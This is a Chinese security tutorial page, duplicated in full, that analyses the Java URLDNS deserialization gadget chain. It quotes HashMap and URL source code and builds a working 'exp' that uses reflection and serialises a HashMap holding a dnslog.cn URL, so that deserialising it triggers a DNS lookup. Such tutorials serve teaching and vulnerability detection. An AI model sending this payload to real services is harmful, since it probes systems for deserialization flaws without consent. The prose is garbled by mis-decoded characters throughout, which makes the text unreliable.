Java安全之URLDNS鏈?zhǔn)褂梅治?/h1>
更新時(shí)間:2025年05月15日 15:39:53 作者:Elitewa
這篇文章主要介紹了Java安全之URLDNS鏈?zhǔn)褂梅治?具有很好的參考價(jià)值,希望對大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
什么是URLDNS鏈
URLDNS鏈?zhǔn)荍ava安全中比較簡單的一條利用鏈,無需使用任何第三方庫,全依靠Java內(nèi)置的一些類實(shí)現(xiàn),但無法進(jìn)行命令執(zhí)行,只能實(shí)現(xiàn)對URl的訪問探測(發(fā)起DNS請求),并且不限制Java版本,可以用于檢測是否存在反序列化漏洞,理解好URLDNS鏈,那么接下來對CC鏈的學(xué)習(xí)就會(huì)簡單許多
URLDNS鏈分析
調(diào)用鏈路
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
HashMap類分析
我們來到 HashMap.java文件,查看HashMap類的readObject方法,代碼如下
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
我們看下該方法的最后一行代碼
putVal(hash(key), key, value, false, false);
發(fā)現(xiàn)調(diào)用了對 key變量 調(diào)用了該類里里面的hash函數(shù),然后我們分析下key參數(shù)是怎么獲得的
通過以下代碼可以看出定義了一個(gè)K類型的key變量,然后對反序列化的輸入流進(jìn)行反序列化,并把反序列化出的鍵復(fù)制給key變量
K類型是代表鍵的泛型,其定義的數(shù)據(jù)可以是任何類型,但只能作為map中的鍵
K key = (K) s.readObject();
我們再看下 hash 函數(shù)是如何對key處理的,我們在HashMap類中找到hash函數(shù)代碼如下
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
經(jīng)分析,只要我們的key對象,也就是傳入map的鍵不為空,就會(huì)執(zhí)行h = key.hashCode(),也就是執(zhí)行key對象里的hashCode()方法
URL類分析
這里接上文,假設(shè)我們傳入map中的key為URL對象,那么便調(diào)用URL類中的hashCode()方法,我們看下這個(gè)方法的代碼
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
這里看到,只要 hashCode = -1的話,那么便會(huì)執(zhí)行handler.hashCode(this);,我們?nèi)タ聪?hashcode 屬性是怎么定義的
private int hashCode = -1;
我們發(fā)現(xiàn) hashcode 的初始值為 -1,也就是默認(rèn)執(zhí)行handler.hashCode(this);,我們再去看看 handler 是怎么定義的,代表了什么,通過下面可得:handler屬性代表了URLStreamHandler類的臨時(shí)對象
transient URLStreamHandler handler;
//這個(gè)URL傳輸實(shí)現(xiàn)類是一個(gè)transient臨時(shí)類型,不會(huì)被反序列化
經(jīng)分析,也就是把這一整個(gè)URL對象作為參數(shù),傳入了URLStreamHandler類的hashCode方法
this代表的是當(dāng)前對象的指針,也可以用 this.name 的方式調(diào)用當(dāng)前對象中的成員
那我們?nèi)?code>URLStreamHandler類當(dāng)中,查看下hashCode方法的代碼
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
我們看到 hashcode 方法接收一個(gè)URL類型的參數(shù),然后對接收的 URL對象,也就是前面的key執(zhí)行InetAddress addr = getHostAddress(u);,并會(huì)把求出的 hash值 返回給 URL對象中的hashCode屬性(這里記住,下面有用到)
getHostAddress函數(shù)會(huì)對URL對象代表的鏈接進(jìn)行DNS解析,獲取其ip地址,我們使用 DNSLog 平臺(tái)可以檢測到該函數(shù)的訪問
exp編寫
思路整理
根據(jù)上面的鏈路分析,我們首先需要?jiǎng)?chuàng)建一個(gè)指向DNSLog平臺(tái)鏈接的URL對象,然后作為鍵傳入HashMap數(shù)組,最后將該數(shù)組進(jìn)行序列化,然后反序列化調(diào)用其readObject方法,將URL對象賦值給key,然后使用hash方法處理URL對象,再調(diào)用URL對象的hashcode方法,然后以URL對象為參數(shù),傳入URLStreamHandler類的hashCode方法,對URL對象指向的鏈接進(jìn)行訪問
初步exp
現(xiàn)在的exp大體如下
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://j0obud.dnslog.cn/");//這里替換為DNSLog平臺(tái)分配的地址
map.put(url,"114");//鍵值用不到,隨便設(shè)置
try {
FileOutputStream outputStream = new FileOutputStream("./2.ser");
ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
outputStream1.writeObject(map);
outputStream.close();
outputStream1.close();
FileInputStream inputStream = new FileInputStream("./2.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}
我們在第13行打個(gè)斷點(diǎn),也就是try的這一行

然后運(yùn)行代碼,發(fā)現(xiàn)未經(jīng)序列化與反序列化仍然能對url進(jìn)行DNS解析

正是下面這一行代碼導(dǎo)致了url的提前解析
map.put(url,"114");//鍵值用不到,隨便設(shè)置
我們?nèi)タ聪?strong>map(HashMap類)的put方法,代碼如下
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
我們發(fā)現(xiàn),這個(gè)put方法和readObject方法觸發(fā)的語句完全一樣,同樣會(huì)對URL對象執(zhí)行HashMap類中的hash方法,然后就和上文所述的過程相同,最總到達(dá)hashCode方法,對URL對象解析
return putVal(hash(key), key, value, false, true);
下面是這兩個(gè)方法的語句對比可以看到是一模一樣的
- put方法:

- readObject方法:

需要注意的是假如提前觸發(fā)的話,反序列化的時(shí)候便不會(huì)再進(jìn)行DNS解析
我們再次回到URL類中的hashCode方法,并看一下其hashCode屬性的定義
private int hashCode = -1;
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
可以看到只有當(dāng) hashCode = -1時(shí),才會(huì)執(zhí)行hashCode = handler.hashCode(this);,從而到下一步DNS解析,然后 hashCode屬性被賦值為這個(gè)URL解析的哈希值,從而為一個(gè)很長的正數(shù),從而不為 -1,然后序列化的時(shí)候這個(gè)hashCode屬性值保持不變,當(dāng)反序列化到hashCode方法時(shí),以為 hashCode != -1 直接進(jìn)入if,執(zhí)行return hashCode;,最終到這里就斷掉了,無法觸發(fā)DNS解析
exp改進(jìn)
那怎么辦呢?
我們可以先在put時(shí),將 hashCode 值通過反射修改為任意一個(gè)不為 -1 的數(shù)字,從而不會(huì)提前觸發(fā)DNS解析,然后在put完成后,我們再通過反射將 hashCode值設(shè)為 -1,示例如下
field.set(url,123); //將url的hashcode屬性改為123使其不等于-1
map.put(url,"2333"); //這里的value用不上,隨便設(shè)置
field.set(url,-1);//put完之后,我們就需要將hashcode屬性改回成-1,從而能執(zhí)行handler.hashCode(this);
通過反射我們可以動(dòng)態(tài)修改一個(gè)對象中的屬性和方法
最終exp
package org.example;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://mm4dhq.dnslog.cn/");//這里替換為DNSLog平臺(tái)分配的地址
Class clas = url.getClass();
Field field = clas.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,123); //將url的hashcode屬性改為123使其不等于-1
map.put(url,"2333"); //這里的value用不上,隨便設(shè)置
field.set(url,-1);//put完之后,我們就需要將hashcode屬性改回成-1,從而能執(zhí)行handler.hashcode
try {
//序列化
FileOutputStream outputStream = new FileOutputStream("./2.ser");
ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
outputStream1.writeObject(map);
outputStream.close();
outputStream1.close();
//反序列化,此時(shí)觸發(fā)dns請求
FileInputStream inputStream = new FileInputStream("./2.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}
我們再次在put語句下面打斷點(diǎn),觀察是否還會(huì)提前觸發(fā),可以看到DNSLog平臺(tái)沒有記錄,代表put時(shí)由于hashCode值不為 -1 ,沒有執(zhí)行handler.hashCode(this)

我們在斷點(diǎn)處繼續(xù)執(zhí)行,可以看到反序列化成功觸發(fā)了DNS解析

總結(jié)
以上為個(gè)人經(jīng)驗(yàn),希望能給大家一個(gè)參考,也希望大家多多支持腳本之家。
相關(guān)文章
-
Spring注解驅(qū)動(dòng)開發(fā)實(shí)現(xiàn)屬性賦值
這篇文章主要介紹了Spring注解驅(qū)動(dòng)開發(fā)實(shí)現(xiàn)屬性賦值,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下 2020-04-04
-
Jetty啟動(dòng)項(xiàng)目中引用json-lib相關(guān)類庫報(bào)錯(cuò)ClassNotFound的解決方案
今天小編就為大家分享一篇關(guān)于Jetty啟動(dòng)項(xiàng)目中引用json-lib相關(guān)類庫報(bào)錯(cuò)ClassNotFound的解決方案,小編覺得內(nèi)容挺不錯(cuò)的,現(xiàn)在分享給大家,具有很好的參考價(jià)值,需要的朋友一起跟隨小編來看看吧 2018-12-12
-
關(guān)于dubbo的RPC和RESTful性能及對比
這篇文章主要介紹了關(guān)于dubbo的RPC和RESTful性能及對比,具有很好的參考價(jià)值,希望對大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教 2022-12-12
-
初識Spring Boot框架之Spring Boot的自動(dòng)配置
本篇文章主要介紹了初識Spring Boot框架之Spring Boot的自動(dòng)配置,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下。
2017-04-04
-
MyBatis攔截器:給參數(shù)對象屬性賦值的實(shí)例
下面小編就為大家?guī)硪黄狹yBatis攔截器:給參數(shù)對象屬性賦值的實(shí)例。小編覺得挺不錯(cuò)的,現(xiàn)在就分享給大家,也給大家做個(gè)參考。一起跟隨小編過來看看吧 2017-04-04
-
JSP 開發(fā)之hibernate的hql查詢多對多查詢
這篇文章主要介紹了JSP 開發(fā)之hibernate的hql查詢多對多查詢的相關(guān)資料,希望通過本文能幫助到大家,需要的朋友可以參考下 2017-09-09
-
SpringBoot如何整合Springsecurity實(shí)現(xiàn)數(shù)據(jù)庫登錄及權(quán)限控制
這篇文章主要給大家介紹了關(guān)于SpringBoot如何整合Springsecurity實(shí)現(xiàn)數(shù)據(jù)庫登錄及權(quán)限控制的相關(guān)資料,文中通過圖文以及實(shí)例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下 2022-01-01
最新評論
什么是URLDNS鏈
URLDNS鏈?zhǔn)荍ava安全中比較簡單的一條利用鏈,無需使用任何第三方庫,全依靠Java內(nèi)置的一些類實(shí)現(xiàn),但無法進(jìn)行命令執(zhí)行,只能實(shí)現(xiàn)對URl的訪問探測(發(fā)起DNS請求),并且不限制Java版本,可以用于檢測是否存在反序列化漏洞,理解好URLDNS鏈,那么接下來對CC鏈的學(xué)習(xí)就會(huì)簡單許多
URLDNS鏈分析
調(diào)用鏈路
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()HashMap類分析
我們來到 HashMap.java文件,查看HashMap類的readObject方法,代碼如下
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}我們看下該方法的最后一行代碼
putVal(hash(key), key, value, false, false);
發(fā)現(xiàn)調(diào)用了對 key變量 調(diào)用了該類里里面的hash函數(shù),然后我們分析下key參數(shù)是怎么獲得的
通過以下代碼可以看出定義了一個(gè)K類型的key變量,然后對反序列化的輸入流進(jìn)行反序列化,并把反序列化出的鍵復(fù)制給key變量
K類型是代表鍵的泛型,其定義的數(shù)據(jù)可以是任何類型,但只能作為map中的鍵
K key = (K) s.readObject();
我們再看下 hash 函數(shù)是如何對key處理的,我們在HashMap類中找到hash函數(shù)代碼如下
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}經(jīng)分析,只要我們的key對象,也就是傳入map的鍵不為空,就會(huì)執(zhí)行h = key.hashCode(),也就是執(zhí)行key對象里的hashCode()方法
URL類分析
這里接上文,假設(shè)我們傳入map中的key為URL對象,那么便調(diào)用URL類中的hashCode()方法,我們看下這個(gè)方法的代碼
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}這里看到,只要 hashCode = -1的話,那么便會(huì)執(zhí)行handler.hashCode(this);,我們?nèi)タ聪?hashcode 屬性是怎么定義的
private int hashCode = -1;
我們發(fā)現(xiàn) hashcode 的初始值為 -1,也就是默認(rèn)執(zhí)行handler.hashCode(this);,我們再去看看 handler 是怎么定義的,代表了什么,通過下面可得:handler屬性代表了URLStreamHandler類的臨時(shí)對象
transient URLStreamHandler handler; //這個(gè)URL傳輸實(shí)現(xiàn)類是一個(gè)transient臨時(shí)類型,不會(huì)被反序列化
經(jīng)分析,也就是把這一整個(gè)URL對象作為參數(shù),傳入了URLStreamHandler類的hashCode方法
this代表的是當(dāng)前對象的指針,也可以用 this.name 的方式調(diào)用當(dāng)前對象中的成員
那我們?nèi)?code>URLStreamHandler類當(dāng)中,查看下hashCode方法的代碼
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}我們看到 hashcode 方法接收一個(gè)URL類型的參數(shù),然后對接收的 URL對象,也就是前面的key執(zhí)行InetAddress addr = getHostAddress(u);,并會(huì)把求出的 hash值 返回給 URL對象中的hashCode屬性(這里記住,下面有用到)
getHostAddress函數(shù)會(huì)對URL對象代表的鏈接進(jìn)行DNS解析,獲取其ip地址,我們使用 DNSLog 平臺(tái)可以檢測到該函數(shù)的訪問
exp編寫
思路整理
根據(jù)上面的鏈路分析,我們首先需要?jiǎng)?chuàng)建一個(gè)指向DNSLog平臺(tái)鏈接的URL對象,然后作為鍵傳入HashMap數(shù)組,最后將該數(shù)組進(jìn)行序列化,然后反序列化調(diào)用其readObject方法,將URL對象賦值給key,然后使用hash方法處理URL對象,再調(diào)用URL對象的hashcode方法,然后以URL對象為參數(shù),傳入URLStreamHandler類的hashCode方法,對URL對象指向的鏈接進(jìn)行訪問
初步exp
現(xiàn)在的exp大體如下
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://j0obud.dnslog.cn/");//這里替換為DNSLog平臺(tái)分配的地址
map.put(url,"114");//鍵值用不到,隨便設(shè)置
try {
FileOutputStream outputStream = new FileOutputStream("./2.ser");
ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
outputStream1.writeObject(map);
outputStream.close();
outputStream1.close();
FileInputStream inputStream = new FileInputStream("./2.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}我們在第13行打個(gè)斷點(diǎn),也就是try的這一行

然后運(yùn)行代碼,發(fā)現(xiàn)未經(jīng)序列化與反序列化仍然能對url進(jìn)行DNS解析

正是下面這一行代碼導(dǎo)致了url的提前解析
map.put(url,"114");//鍵值用不到,隨便設(shè)置
我們?nèi)タ聪?strong>map(HashMap類)的put方法,代碼如下
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}我們發(fā)現(xiàn),這個(gè)put方法和readObject方法觸發(fā)的語句完全一樣,同樣會(huì)對URL對象執(zhí)行HashMap類中的hash方法,然后就和上文所述的過程相同,最總到達(dá)hashCode方法,對URL對象解析
return putVal(hash(key), key, value, false, true);
下面是這兩個(gè)方法的語句對比可以看到是一模一樣的
- put方法:

- readObject方法:

需要注意的是假如提前觸發(fā)的話,反序列化的時(shí)候便不會(huì)再進(jìn)行DNS解析
我們再次回到URL類中的hashCode方法,并看一下其hashCode屬性的定義
private int hashCode = -1;
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}可以看到只有當(dāng) hashCode = -1時(shí),才會(huì)執(zhí)行hashCode = handler.hashCode(this);,從而到下一步DNS解析,然后 hashCode屬性被賦值為這個(gè)URL解析的哈希值,從而為一個(gè)很長的正數(shù),從而不為 -1,然后序列化的時(shí)候這個(gè)hashCode屬性值保持不變,當(dāng)反序列化到hashCode方法時(shí),以為 hashCode != -1 直接進(jìn)入if,執(zhí)行return hashCode;,最終到這里就斷掉了,無法觸發(fā)DNS解析
exp改進(jìn)
那怎么辦呢?
我們可以先在put時(shí),將 hashCode 值通過反射修改為任意一個(gè)不為 -1 的數(shù)字,從而不會(huì)提前觸發(fā)DNS解析,然后在put完成后,我們再通過反射將 hashCode值設(shè)為 -1,示例如下
field.set(url,123); //將url的hashcode屬性改為123使其不等于-1 map.put(url,"2333"); //這里的value用不上,隨便設(shè)置 field.set(url,-1);//put完之后,我們就需要將hashcode屬性改回成-1,從而能執(zhí)行handler.hashCode(this);
通過反射我們可以動(dòng)態(tài)修改一個(gè)對象中的屬性和方法
最終exp
package org.example;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://mm4dhq.dnslog.cn/");//這里替換為DNSLog平臺(tái)分配的地址
Class clas = url.getClass();
Field field = clas.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,123); //將url的hashcode屬性改為123使其不等于-1
map.put(url,"2333"); //這里的value用不上,隨便設(shè)置
field.set(url,-1);//put完之后,我們就需要將hashcode屬性改回成-1,從而能執(zhí)行handler.hashcode
try {
//序列化
FileOutputStream outputStream = new FileOutputStream("./2.ser");
ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
outputStream1.writeObject(map);
outputStream.close();
outputStream1.close();
//反序列化,此時(shí)觸發(fā)dns請求
FileInputStream inputStream = new FileInputStream("./2.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}我們再次在put語句下面打斷點(diǎn),觀察是否還會(huì)提前觸發(fā),可以看到DNSLog平臺(tái)沒有記錄,代表put時(shí)由于hashCode值不為 -1 ,沒有執(zhí)行handler.hashCode(this)

我們在斷點(diǎn)處繼續(xù)執(zhí)行,可以看到反序列化成功觸發(fā)了DNS解析

總結(jié)
以上為個(gè)人經(jīng)驗(yàn),希望能給大家一個(gè)參考,也希望大家多多支持腳本之家。
相關(guān)文章
Spring注解驅(qū)動(dòng)開發(fā)實(shí)現(xiàn)屬性賦值
這篇文章主要介紹了Spring注解驅(qū)動(dòng)開發(fā)實(shí)現(xiàn)屬性賦值,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2020-04-04
Jetty啟動(dòng)項(xiàng)目中引用json-lib相關(guān)類庫報(bào)錯(cuò)ClassNotFound的解決方案
今天小編就為大家分享一篇關(guān)于Jetty啟動(dòng)項(xiàng)目中引用json-lib相關(guān)類庫報(bào)錯(cuò)ClassNotFound的解決方案,小編覺得內(nèi)容挺不錯(cuò)的,現(xiàn)在分享給大家,具有很好的參考價(jià)值,需要的朋友一起跟隨小編來看看吧2018-12-12
關(guān)于dubbo的RPC和RESTful性能及對比
這篇文章主要介紹了關(guān)于dubbo的RPC和RESTful性能及對比,具有很好的參考價(jià)值,希望對大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2022-12-12
初識Spring Boot框架之Spring Boot的自動(dòng)配置
本篇文章主要介紹了初識Spring Boot框架之Spring Boot的自動(dòng)配置,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下。2017-04-04
MyBatis攔截器:給參數(shù)對象屬性賦值的實(shí)例
下面小編就為大家?guī)硪黄狹yBatis攔截器:給參數(shù)對象屬性賦值的實(shí)例。小編覺得挺不錯(cuò)的,現(xiàn)在就分享給大家,也給大家做個(gè)參考。一起跟隨小編過來看看吧2017-04-04
JSP 開發(fā)之hibernate的hql查詢多對多查詢
這篇文章主要介紹了JSP 開發(fā)之hibernate的hql查詢多對多查詢的相關(guān)資料,希望通過本文能幫助到大家,需要的朋友可以參考下2017-09-09
SpringBoot如何整合Springsecurity實(shí)現(xiàn)數(shù)據(jù)庫登錄及權(quán)限控制
這篇文章主要給大家介紹了關(guān)于SpringBoot如何整合Springsecurity實(shí)現(xiàn)數(shù)據(jù)庫登錄及權(quán)限控制的相關(guān)資料,文中通過圖文以及實(shí)例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2022-01-01

